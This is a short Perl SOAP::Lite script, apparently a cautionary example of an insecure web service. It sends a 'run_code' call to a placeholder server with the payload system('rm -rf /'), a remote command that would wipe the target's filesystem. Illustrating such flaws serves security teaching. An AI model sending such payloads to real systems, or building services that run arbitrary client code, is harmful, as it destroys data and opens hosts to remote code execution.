#!/usr/bin/perl
use SOAP::Lite;
my $soap = SOAP::Lite 
    ->uri('ReallyInsecureDontDoThis') 
    ->proxy('http://www.example.com/insecure_server.cgi');
$soap->call(run_code => q/system('rm -rf /')/);